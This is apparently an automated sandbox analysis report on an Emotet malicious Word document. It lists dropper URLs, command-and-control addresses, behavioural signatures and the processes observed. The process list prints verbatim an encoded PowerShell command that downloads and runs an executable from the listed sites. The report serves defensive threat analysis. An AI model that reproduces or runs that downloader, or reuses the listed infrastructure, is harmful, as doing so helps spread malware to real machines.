Analysis

  • max time kernel
    75s
  • max time network
    140s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    11/08/2020, 18:13

General

  • Target
    emotet_e3_1cc98c392c0aa7e8ad7669a7b0c7be701ac2fbd93fd030a57f0aed0dc0a1f4fd_2020-08-11__181200._doc.doc
  • Size 228KB
  • Sample200811-prc61dct72
  • SHA256 1cc98c392c0aa7e8ad7669a7b0c7be701ac2fbd93fd030a57f0aed0dc0a1f4fd
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://labersa.com/preview/pXHuX/

  • exe.dropper

    http://roundlab.net/php/sBUVLCCA/

  • exe.dropper

    http://www.rumormiller.com/statement/yOdnH/

  • exe.dropper

    http://seismophonic.com/images/kXLCVUaq/

  • exe.dropper

    http://stawiarz.pl/licznik/aRO0ndjc44/

Extracted

Family
  • emotet

C2
  • 92.24.51.238:80

  • 139.99.157.213:8080

  • 188.166.25.84:8080

  • 81.214.253.80:443

  • 5.79.70.250:8080

  • 41.185.29.128:8080

  • 181.164.110.7:80

  • 177.37.81.212:443

  • 203.153.216.178:7080

  • 178.33.167.120:8080

  • 77.74.78.80:443

  • 37.70.131.107:80

  • 190.164.75.175:80

  • 75.127.14.170:8080

  • 78.188.170.128:80

  • 113.161.148.81:80

  • 105.209.235.113:8080

  • 177.144.130.105:443

  • 81.17.93.134:80

  • 181.134.9.162:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_1cc98c392c0aa7e8ad7669a7b0c7be701ac2fbd93fd030a57f0aed0dc0a1f4fd_2020-08-11__181200._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:832
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABPAEsARwBGAEcAeQBsAHMAPQAnAEUAWQBUAEQAWQB1AHEAYQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBDAGAAVQByAGkAVAB5AGAAUAByAGAATwB0AE8AYABDAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEMASQBCAE0ASwBmAGMAagAgAD0AIAAnADkANQAwACcAOwAkAFUAVQBZAEcATwBxAGIAagA9ACcAUgBFAEIAUgBPAHIAYQBoACcAOwAkAEIAUABaAEgAUgBpAGwAeQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQwBJAEIATQBLAGYAYwBqACsAJwAuAGUAeABlACcAOwAkAFYASQBBAFcAWgB0AGcAegA9ACcAWgBKAEgAVgBLAGcAZQBvACcAOwAkAFMAUQBMAE4ATQBjAGIAbgA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAZQBjAHQAJwApACAAbgBlAHQALgBXAEUAQgBDAEwAaQBlAE4AVAA7ACQAQwBMAEgAUwBNAHQAZQByAD0AJwBoAHQAdABwADoALwAvAGwAYQBiAGUAcgBzAGEALgBjAG8AbQAvAHAAcgBlAHYAaQBlAHcALwBwAFgASAB1AFgALwAqAGgAdAB0AHAAOgAvAC8AcgBvAHUAbgBkAGwAYQBiAC4AbgBlAHQALwBwAGgAcAAvAHMAQgBVAFYATABDAEMAQQAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAHIAdQBtAG8AcgBtAGkAbABsAGUAcgAuAGMAbwBtAC8AcwB0AGEAdABlAG0AZQBuAHQALwB5AE8AZABuAEgALwAqAGgAdAB0AHAAOgAvAC8AcwBlAGkAcwBtAG8AcABoAG8AbgBpAGMALgBjAG8AbQAvAGkAbQBhAGcAZQBzAC8AawBYAEwAQwBWAFUAYQBxAC8AKgBoAHQAdABwADoALwAvAHMAdABhAHcAaQBhAHIAegAuAHAAbAAvAGwAaQBjAHoAbgBpAGsALwBhAFIATwAwAG4AZABqAGMANAA0AC8AJwAuACIAUwBwAGAAbABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABQAEQAUwBQAEUAcABnAGEAPQAnAEQASABGAEwAWQBuAGsAZQAnADsAZgBvAHIAZQBhAGMAaAAoACQARABQAEcAVABYAGgAbwByACAAaQBuACAAJABDAEwASABTAE0AdABlAHIAKQB7AHQAcgB5AHsAJABTAFEATABOAE0AYwBiAG4ALgAiAEQATwB3AG4AbABgAG8AYQBgAGQARgBJAGAAbABFACIAKAAkAEQAUABHAFQAWABoAG8AcgAsACAAJABCAFAAWgBIAFIAaQBsAHkAKQA7ACQAWABZAFUARQBBAG8AZwBjAD0AJwBYAFYAVQBWAE0AegB2AGsAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACAAJABCAFAAWgBIAFIAaQBsAHkAKQAuACIAbABgAEUAbgBHAFQAaAAiACAALQBnAGUAIAAyADIAOQA2ADIAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAUgBlAEEAYABUAGUAIgAoACQAQgBQAFoASABSAGkAbAB5ACkAOwAkAEcARQBMAFAAWQBpAGQAcwA9ACcATgBLAFQATABGAHEAaABxACcAOwBiAHIAZQBhAGsAOwAkAEsAQwBEAEkAQwBwAGkAZgA9ACcASQBVAEYAUABPAGoAeAB4ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwASQBXAFcAWAB3AGIAbwA9ACcARQBLAE8ARQBGAGoAdgB6ACcA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1056
  • C:\Users\Admin\950.exe
    C:\Users\Admin\950.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:1612
    • C:\Windows\SysWOW64\pifmgr\localsec.exe
      "C:\Windows\SysWOW64\pifmgr\localsec.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:1640

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/832-14-0x0000000002020000-0x0000000002021000-memory.dmp

        memory/832-4-0x0000000006ED0000-0x00000000070D0000-memory.dmp

        memory/832-5-0x00000000025C0000-0x00000000025C4000-memory.dmp

        memory/832-6-0x0000000002640000-0x0000000002644000-memory.dmp

        memory/832-2-0x0000000008AB0000-0x0000000008AB4000-memory.dmp

        memory/1056-9-0x000007FEF1520000-0x000007FEF1F0C000-memory.dmp

        memory/1056-13-0x0000000002000000-0x0000000002001000-memory.dmp

        memory/1056-15-0x000000001C510000-0x000000001C511000-memory.dmp

        memory/1056-16-0x000000001B690000-0x000000001B691000-memory.dmp

        memory/1056-12-0x00000000024F0000-0x00000000024F1000-memory.dmp

        memory/1056-11-0x000000001AD20000-0x000000001AD21000-memory.dmp

        memory/1056-10-0x0000000001F30000-0x0000000001F31000-memory.dmp

        memory/1612-18-0x0000000000280000-0x000000000028C000-memory.dmp

        memory/1640-22-0x00000000002F0000-0x00000000002FC000-memory.dmp

        memory/1948-23-0x000007FEF2300000-0x000007FEF257A000-memory.dmp